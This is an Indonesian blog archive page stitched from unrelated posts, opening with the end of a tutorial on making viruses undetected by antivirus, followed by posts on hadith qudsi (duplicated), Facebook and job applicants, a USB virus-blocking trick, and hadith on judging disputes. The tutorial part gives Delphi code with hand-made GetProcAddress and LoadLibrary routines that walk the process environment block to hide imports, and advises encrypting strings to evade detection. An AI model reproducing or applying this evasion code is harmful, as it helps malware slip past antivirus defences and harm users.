    Pada gambar 7 terlihat bahwa library yang diload kembali ke default ( pertama ) tapi saat kita melihat function yang diload kernel32.dll terdapat tambahan loadlibraryA dan getprocaddress nah bagaimana mengakalinya ??? untuk menghilangkan ini kita bisa menggunakan alternativ getloadlibrary dan alternativ getprocaddress function by steve10120 yang codenya seperti ini :

    Code:
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    adapun code kita sekarang menjadi seperti ini :

    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := xGetProcAddress(xLoadLibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := xGetProcAddress(xLoadLibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


    Terlihat iat yang diload kembali seperti default program yang tidak berisikan code . Oh iya tambahan untuk membuat code kita undetect juga anda bisa menambahkan encryption dan encrypt semua string ( saat program dijalankan decrypt kembali).

    Demikanlah penjelasan tentang bagaimana membuat virus undetected dari antivirus. Adapun untuk teknik lebih lanjut anda bisa menemukannya di website/forum yang membahas tentang virus.
  5. Protect Computer
    Pada bab ini saya akan memberikan beberapa tips bagaimana cara terhindar dari virus ( tentunya virus sejenis ini ). Adapun tips and tricknya sebagai berikut :

    1. Updatelah antivirus anda sesering mungkin.
    2. Gunakan / install program firewall yang akan memonitoring keluar masuknya data dikomputer anda.
    3. Usahakan semua program yang anda gunakan itu asli karena banyak orang yang membinding ( menggabungkan virus dengan program ).
    4. Sebelum menjalankan program yang anda download maka analisislah filenya terlebih dulu. Adapun untuk menganalisa program anda bisa melihat resource file, section file, dan juga sniffing lalu lintas data. Apabila anda melihat hal yang mencurigakan lansung didelete saja.
    5. Rajin – rajinlah membuka website yang membahas security untuk mengetahui teknik terbaru dari pembuat virus sehingga bisa mencegahnya virus itu menginfecsi komputer anda. Adapun website-websitenya anda bisa melihatnya dibagian credis anda thanks.
  6. Penutup
    Demikianlah tutorial dari saya. Adapun segalah kekurangan atau kesalahan pada tutorial ini mohon dimaapkan. Apabila ada yang kurang dimengerti dalam tutorial ini anda bisa lansung menanyakannya kepada saya dengan mengirimkan email ke alamat email saya yang tercantum dibagian about author. Terakhir saya kembali menegaskan tutorial ini hanya untuk pembelajaran saja tampa bermaksud untuk mengajarkan membuat virus dan merugikan orang banyak. Sekian dari saya dan terima kasih.
  7. Credit and thanks
    Terimah kasih kepada :
    - Aphex
    - steve10120
    - OMC
    - Johnyk
    - Apocalyps aka who-tr
    - Fuajar
    - Chaincoder
    - Canis Lupus
    - Nohn
    - BUNNN
    - S'to
    - Pirus
    - Aurel666
    - Cruzen

    Dan banyak lagi teman2 saya yang tidak mungkin saya sebutkan semua disini.

Rabu, 03 Februari 2010

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

Selasa, 02 Februari 2010

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Mem-posting sesuatu di Facebook memang tak boleh sembarangan, khususnya bagi para pencari kerja. Sebuah survei mengungkapkan, hampir separuh perusahaan telah menolak calon pekerja yang sebenarnya potensial cuma gara-gara Facebook sang pelamar.

Satu dari 10 pelamar kerja ternyata ditolak karena ketahuan telah mem-posting sesuatu tentang minum-minuman keras dan obat-obatan terlarang. Kemudian, 13% karena membuat komentar rasis, dan 9% lainnya ditinjau ulang karena kedapatan menempatkan foto cabul di halaman situs jejaring sosial tersebut.

Perusahaan-perusahaan itu mulai mengecek jeroan Facebook sang pelamar untuk membandingkannya dengan resume curriculum vitae (CV) yang dikirimkan. Bahkan, seperti dikutip detikINET dari Telegraph, Rabu (13/1/2010), empat dari perusahaan telah membuang lamaran yang masuk setelah melihat Facebook sang pelamar.

Gambaran tentang dampak Facebook ini didapat dari hasil survei Career Builder terhadap 450 karyawan perusahaan. Farhan Yasin, presiden Career Builder mengatakan, situs seperti Facebook bisa menjadi bom waktu.

"Banyak yang memakai situs jejaring untuk menguak hal "kotor" di dunia maya. Maka, bersihkan konten "kotor"-mu sebelum mencari pekerjaan. Hapus semua konten foto dan link yang bisa menjadi batu sandungan dalam mencari pekerjaan," imbau Yasin soal hasil survei tersebut.

Salah satu perusahaan bernama Big Brother mengakui kesalahan terbesar yang dibuat oleh pencari kerja ialah tak bisa menjaga perilakunya di Facebook. Meski telah memoles sebaik-baiknya CV mereka, namun percuma saja kalau masih memiliki catatan online yang kurang baik dan bisa dilihat semua orang.

TIPS] buat flashdisk jd anti dgn virus.

intinya adalah mencegah flashdisk kita agar tidak dapat ditongkrongi oleh virus2 penggangu yg suka nongkrong di flashdisk. caranya mirip dgn membuat folder autorun.inf di flashdisk agar file autorun.inf virus tidak bisa masuk ke flashdisk.

contoh:
kl ada file virus "boot.exe" di flashdisk kita, kita tinggal delete aja file itu trus buat folder dgn nama "boot.exe". dijamin virus "boot.exe" ga akan bisa mampir ke flashdisk anda lg. trus buat folder "con" di dalem folder "boot.exe" biar foldernya ga bisa di delete.

sama jg kl ada virus yg ngebuat folder di flashdisk, cara cegahinnya yaitu dgn buat file yg di beri nama folder virusnya.

contoh:
misal ada virus yg buat folder "recycle" di dalem flashdisk, kita tinggal buat file trus kasih nama "recycle", beres deh!

semoga tips ini bisa membantu.

note: cara ini tidak selalu ampuh, karna banyak virus yg menggunakan nama yg random (acak)

Senin, 01 Februari 2010

putus perkara 3

Hadits ke-21
Dari Umar Ibnu al-Khaththab bahwa ia dalam khutbah pernah berkata: Sesungguhnya orang-orang pada zaman Rasulullah Shallallaahu 'alaihi wa Sallam diputuskan hukumannya melalui wahyu, dan wahyu itu telah terputus, maka kami sekarang memutuskan hukuman padamu berdasarkan perbuatanmu yang tampak pada kami. Riwayat Bukhari.
Hadits ke-22
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam menggolongkan persaksian palsu termasuk di antara dosa-dosa yang paling besar. Muttafaq Alaihi dalam hadits yang panjang.
Hadits ke-23
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah bertanya kepada seseorang: "Apakah engkau melihat matahari?". Ia menjawab: Ya. Beliau bersabda: "Dalam masalah seperti ini, bersaksilah atau tinggalkan." Riwayat Ibnu 'Ady dengan sanad lemah. Hadits shahih menurut Hakim, namun ia keliru.
Hadits ke-24
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan suatu perkara dengan sumpah dan seorang saksi. Riwayat Muslim, Abu Dawud dan Nasa'i. Ia berkata: Sanad hadits itu baik.
Hadits ke-25
Ada hadits serupa dari Abu Hurairah Radliyallaahu 'anhu yang diriwayatkan oleh Abu Dawud dan Tirmidzi dan dinilai shahih oleh Ibnu Hibban.
Hadits ke-26
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Seandainya orang-orang selalu diberi (dikabulkan) dengan dakwaan mereka, niscaya orang-orang akan menuntut darah dan harta orang lain, namun bagi yang didakwa berhak bersumpah." Muttafaq Alaihi.
Hadits ke-27
Menurut riwayat Baihaqi dengan sanad shahih: "Bukti diwajibkan atas pendakwa dan sumpah diwajibkan atas orang yang ingkar."
Hadits ke-28
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah menawarkan sumpah kepada suatu kaum dan mereka segera menerimanya. Maka beliau memerintahkan agar diadakan undian untuk pengangkatan sumpah, siapakah di antara mereka yang akan bersumpah. Riwayat Bukhari.
Hadits ke-29
Dari Abu Umamah al-Haritsi Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa mengambil hak milik seorang muslim dengan sumpahnya, maka Allah mengharuskan dirinya masuk neraka dan mengharamkan baginya surga." Ada seseorang bertanya: Walaupun sedikit, wahai Rasulullah?. Beliau menjawab: "Walaupun sepotong dahan pohon arak." Riwayat Muslim.
Hadits ke-30
Dari Al-Asy'ats Ibnu Qais Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah untuk mengambil harta milik seorang Muslim, padahal ia berdusta dalam sumpah itu, ia akan menemui Allah dalam keadaan murka." Muttafaq Alaihi.
Hadits ke-31
Dari Abu Musa Radliyallaahu 'anhu bahwa ada dua orang yang bersengketa masalah seekor hewan. Tidak seorang pun di antara mereka yang memiliki bukti. Maka Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa keduanya mendapatkan setengah. Riwayat Ahmad, Abu Dawud, dan Nasa'i. Lafadz hadits menurut Nasa'i dan ia berkata: sanadnya baik.
Hadits ke-32
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah di atas mimbarku ini dengan sumpah palsu, ia akan menyediakan tempat duduknya dari api neraka." Riwayat Ahmad, Abu Dawud, dan Nasa'i. Hadits shahih menurut Ibnu Hibban.
Hadits ke-33
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Ada tiga orang yang tidak akan diajak bicara oleh Allah pada hari kiamat, tidak dilihat dan tidak akan disucikan, dan bagi mereka adzab yang pedih, yaitu: Orang yang mempunyai kelebihan air di padang pasir namun tidak mau memberikannya kepada orang yang berada di tengah perjalanan; orang yang menawarkan barang dagangan kepada orang lain setelah Ashar, lalu ia bersumpah dengan nama Allah bahwa ia telah membelinya sekian dan sekian sehingga lawannya mempercayainya, padahal sebenarnya tidaklah demikian; dan seseorang yang mengikrarkan kepatuhannya kecuali untuk kepentingan dunia (harta), bila sang pemimpin memberinya ia akan patuh dan bila tidak memberinya ia tidak akan mematuhinya." Muttafaq Alaihi.
Hadits ke-34
Dari Jabir Radliyallaahu 'anhu bahwa ada dua orang pernah bersengketa masalah seekor unta. Salah seorang di antara mereka berkata: Unta ini dilahirkan di tempatku. Keduanya sama-sama memperlihatkan bukti. Lalu Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa unta itu milik orang yang ditempati unta.
Hadits ke-35
Dari Ibnu Umar Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah mengembalikan sumpah kepada penuntut kebenaran. Kedua hadits di atas riwayat Daruquthni dan dalam sanad keduanya ada kelemahan.
Hadits ke-36
'Aisyah Radliyallaahu 'anhu berkata: Nabi Shallallaahu 'alaihi wa Sallam pada suatu hari memasuki rumahku dengan gembira, berseri-seri wajahnya, dan bertanya: "Tidakkah engkau perhatikan Mujazziz al-Mudlijy?. Ia tadi melihat Zaid Ibnu Harits dan Uzamah Ibnu Zaid. Lalu ia (Mujazziz) berkata: Kaki-kaki ini sebagiannya dari sebagian yang lain." Muttafaq Alaihi.

putus perkara 2

Hadits ke-11
'Aisyah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim yang adil akan dipanggil pada hari kiamat, lalu ia mendapat perhitungan yang melelahkan sehingga ia berkeinginan, alangkah baiknya jika seumur hidupnya ia tidak pernah memutuskan hukum antara dua orang." Riwayat Ibnu Hibban. Baihaqi juga meriwayatkan dengan tambahan: "Dalam masalah sebiji kurma."
Hadits ke-12
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Tidak akan bahagia suatu kaum yang menyerahkan kekuasaan mereka kepada seorang perempuan." Riwayat Bukhari.
Hadits ke-13
Dari Abu Maryam al-Azdy Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diserahi kekuasaan oleh Allah untuk menangani urusan kaum muslimin, namun ia tidak memperhatikan kebutuhan mereka dan kaum fakir, maka Allah tidak akan memperhatikan kebutuhannya." Riwayat Abu Dawud dan Tirmidzi.
Hadits ke-14
Abu Hurairah Radliyallaahu 'anhu berkata: Rasulullah Shallallaahu 'alaihi wa Sallam melaknat penyuap dan penerima suap dalam masalah hukum. Riwayat Ahmad dan Imam Empat. Hadits hasan menurut Tirmidzi dan shahih menurut Ibnu Hibban.
Hadits ke-15
Hadits tersebut mempunyai hadits saksi riwayat Imam Empat selain Nasa'i dari Abdullah Ibnu Amar.
Hadits ke-16
Abdullah Ibnu Zubair Radliyallaahu 'anhu berkata: Rasululah Shallallaahu 'alaihi wa Sallam memutuskan bahwa dua orang yang bersengketa harus duduk (untuk memutuskan perkara mereka) di depan hakim. Riwayat Abu Dawud. Hadits shahih menurut Hakim.
Hadits ke-17
Dari Zaid Ibnu Kholid al-Juhany bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Maukah kalian aku beritahu sebaik-baik persaksian? Yaitu orang yang datang memberi saksi sebelum diminta persaksiannya." Riwayat Muslim.
Hadits ke-18
Dari Imran Ibnu Hushoin Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sebaik-baik orang di antara kamu ialah (hidup) seabad denganku, lalu orang setelah mereka, kemudian orang-orang setelah mereka; setelah itu datanglah suatu bangsa yang memberi persaksian padahal mereka tidak diminta menjadi saksi, mereka berkhianat padahal mereka tidak diberi amanat, mereka bernadzar dan tidak memenuhinya, dan tubuh mereka tampak gemuk." Muttafaq Alaihi.
Hadits ke-19
Dari Abdullah Ibnu Amar Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian seorang laki-laki dan perempuan pengkhianat, persaksian orang yang menyimpan rasa dengki terhadap saudaranya, dan tidak sah pula persaksian pembantu rumah terhadap keluarga rumah tersebut." Riwayat Ahmad dan Abu Dawud.
Hadits ke-20
Dari Abu Hurairah bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian Arab Badui (Arab Dusun) terhadap orang kota." Riwayat Abu Dawud dan Ibnu Majah

putus perkara

14. Kitab Putus Perkara


Hadits ke-1
Dari Buraidah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim itu ada tiga, dua orang di neraka dan seorang lagi di surga. Seorang yang tahu kebenaran dan ia memutuskan dengannya, maka ia di surga; seorang yang tahu kebenaran, namun ia tidak memutuskan dengannya, maka ia di neraka; dan seorang yang tidak tahu kebenaran dan ia memutuskan untuk masyarakat dengan ketidaktahuan, maka ia di neraka." Riwayat Imam Empat. Hadits shahih menurut Hakim.


Hadits ke-2
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diangkat sebagai hakim, ia telah disembelih dengan pisau." Riwayat Ahmad dan Imam Empat. Hadits shahih menurut Ibnu Khuzaimah dan Ibnu Hibban.


Hadits ke-3
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian akan rakus terhadap kekuasaan padahal ia akan menjadi penyesalan di hari kiamat. Maka alangkah baiknya penyusu (penguasa di dunia) dan alangkah jeleknya pemutus susu (kematian)." Riwayat Bukhari.


Hadits ke-4
Dari Amar Ibnu Al-'Ash Radliyallaahu 'anhu bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila seorang hakim menghukum dan dengan kesungguhannya ia memperoleh kebenaran, maka baginya dua pahala; apabila ia menghukum dan dengan kesungguhannya ia salah, maka baginya satu pahala." Muttafaq Alaihi.


Hadits ke-5
Abu Bakrah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Janganlah seseorang menghukum antara dua orang dalam keadaan marah." Muttafaq Alaihi.


Hadits ke-6
Dari Ali Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila ada dua orang meminta keputusan hukum kepadamu, maka janganlah engkau memutuskan untuk orang yang pertama sebelum engkau mendengar keterangan orang kedua agar engkau mengetahui bagaimana harus memutuskan hukum." Ali berkata: Setelah itu aku selalu menjadi hakim yang baik. Riwayat Ahmad, Abu Dawud dan Tirmidzi. Hadits hasan menurut Tirmidzi, dikuatkan oleh Ibnu al-Madiny, dan dinilai shahih oleh Ibnu Hibban.


Hadits ke-7
Ada hadits saksi riwayat Hakim Ibnu Abbas.


Hadits ke-8
Dari Ummu Salamah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian selalu mengadukan persengketaan kepadaku. Bisa jadi sebagian darimu lebih pandai mengemukakan alasan daripada yang lainnya, lalu aku memutuskan untuknya seperti yang aku dengar darinya. Maka barangsiapa yang aku berikan kepadanya sesuatu yang menjadi hak saudaranya, sebenarnya aku telah mengambil sepotong api neraka untuknya." Muttafaq Alaihi.


Hadits ke-9
Jabir berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Bagaimana suatu umat dapat terhormat bila hak orang lemah tidak dapat dituntut dari mereka yang kuat." Riwayat Ibnu Hibban.


Hadits ke-10
Ada hadits saksi dari Buraidah riwayat al-Bazzar dan dari Abu Said riwayat Ibnu Majah.